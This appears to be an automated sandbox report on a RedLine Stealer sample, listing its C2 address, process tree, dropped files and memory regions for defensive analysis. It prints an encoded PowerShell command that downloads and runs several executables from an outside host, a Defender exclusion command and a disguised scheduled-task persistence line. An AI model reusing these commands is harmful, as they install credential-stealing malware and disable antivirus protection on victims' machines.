Analysis

  • max time kernel
    180s
  • max time network
    185s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2023, 07:14

General

  • Target
    3b6724f0782fb7defaad3f17b96a80cae307d230.exe
  • Size 361KB
  • Sample230127-h26fssaf61
  • SHA256 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2620
      • C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe
        "C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4012
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1444
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:1676
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2844
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:4904
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 140
                  6⤵
                  • Program crash
                  PID:4712
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2948
                • C:\Windows\SysWOW64\schtasks.exe
                  /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
                  6⤵
                  • Creates scheduled task(s)
                  PID:3356
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3088
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 244
            3⤵
            • Program crash
            PID:4620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4236
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4012 -ip 4012
        1⤵
          PID:3512
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2844 -ip 2844
          1⤵
            PID:4700

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 53KB
                • SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 19KB
                • SHA256 a61505be87379cb393c77298c83e507b2671d0eb08d98083e536ebdb4e0c0ab6
                • MD5 SHA1 SHA512 SSDEEP

                C4Loader.exe

                • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                • Size 1.4MB
                • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                • MD5 SHA1 SHA512 SSDEEP

                C4Loader.exe

                • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                • Size 1.4MB
                • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                • MD5 SHA1 SHA512 SSDEEP

                SmartDefRun.exe

                • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                • Size 3.7MB
                • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                • MD5 SHA1 SHA512 SSDEEP

                SysApp.exe

                • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                • Size 1.4MB
                • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                • MD5 SHA1 SHA512 SSDEEP

                SysApp.exe

                • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                • Size 1.4MB
                • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                • MD5 SHA1 SHA512 SSDEEP

                new2.exe

                • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                • Size 477KB
                • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                • MD5 SHA1 SHA512 SSDEEP

                new2.exe

                • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                • Size 477KB
                • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                • MD5 SHA1 SHA512 SSDEEP

                memory/1444-151-0x0000000007830000-0x000000000784A000-memory.dmp

                memory/1444-143-0x0000000005D80000-0x0000000005DA2000-memory.dmp

                memory/1444-148-0x0000000074A90000-0x0000000074ADC000-memory.dmp

                memory/1444-149-0x0000000006A80000-0x0000000006A9E000-memory.dmp

                memory/1444-150-0x0000000007E90000-0x000000000850A000-memory.dmp

                memory/1444-152-0x00000000078A0000-0x00000000078AA000-memory.dmp

                memory/1444-153-0x0000000007AF0000-0x0000000007B86000-memory.dmp

                memory/1444-154-0x0000000007A60000-0x0000000007A6E000-memory.dmp

                memory/1444-155-0x0000000005EC0000-0x0000000005EDA000-memory.dmp

                memory/1444-156-0x0000000000E20000-0x0000000000E28000-memory.dmp

                memory/1444-157-0x0000000007AA0000-0x0000000007AC2000-memory.dmp

                memory/1444-158-0x0000000008AC0000-0x0000000009064000-memory.dmp

                memory/1444-147-0x0000000006B30000-0x0000000006B62000-memory.dmp

                memory/1444-146-0x0000000006500000-0x000000000651E000-memory.dmp

                memory/1444-145-0x0000000005F00000-0x0000000005F66000-memory.dmp

                memory/1444-141-0x0000000004F60000-0x0000000004F96000-memory.dmp

                memory/1444-144-0x0000000005E20000-0x0000000005E86000-memory.dmp

                memory/1444-142-0x00000000055D0000-0x0000000005BF8000-memory.dmp

                memory/1676-165-0x0000000000640000-0x00000000007AC000-memory.dmp

                memory/1676-168-0x0000000005080000-0x0000000005112000-memory.dmp

                memory/1676-171-0x0000000005470000-0x000000000547A000-memory.dmp

                memory/2176-139-0x0000000000400000-0x0000000000405000-memory.dmp

                memory/2176-133-0x0000000000400000-0x0000000000405000-memory.dmp

                memory/2948-197-0x000000000B780000-0x000000000B786000-memory.dmp

                memory/2948-179-0x00000000021E0000-0x00000000026E4000-memory.dmp

                memory/2948-181-0x00000000026F4000-0x0000000002831000-memory.dmp

                memory/2948-196-0x000000000B790000-0x000000000B7E7000-memory.dmp

                memory/2948-195-0x000000000B790000-0x000000000B7E7000-memory.dmp

                memory/2948-185-0x00000000021E0000-0x00000000026E4000-memory.dmp

                memory/2948-186-0x00000000026F4000-0x0000000002831000-memory.dmp

                memory/4236-194-0x00000172FE3A0000-0x00000172FE3BC000-memory.dmp

                memory/4236-188-0x00000172FC7A0000-0x00000172FC7C2000-memory.dmp

                memory/4236-187-0x00007FFF52F30000-0x00007FFF539F1000-memory.dmp

                memory/4236-193-0x00000172FE370000-0x00000172FE37A000-memory.dmp

                memory/4236-191-0x00000172FE350000-0x00000172FE36C000-memory.dmp

                memory/4236-192-0x00007FFF52F30000-0x00007FFF539F1000-memory.dmp

                memory/4904-184-0x0000000005470000-0x00000000054AC000-memory.dmp

                memory/4904-183-0x0000000005540000-0x000000000564A000-memory.dmp

                memory/4904-182-0x0000000005410000-0x0000000005422000-memory.dmp

                memory/4904-180-0x0000000005970000-0x0000000005F88000-memory.dmp

                memory/4904-174-0x0000000000400000-0x0000000000420000-memory.dmp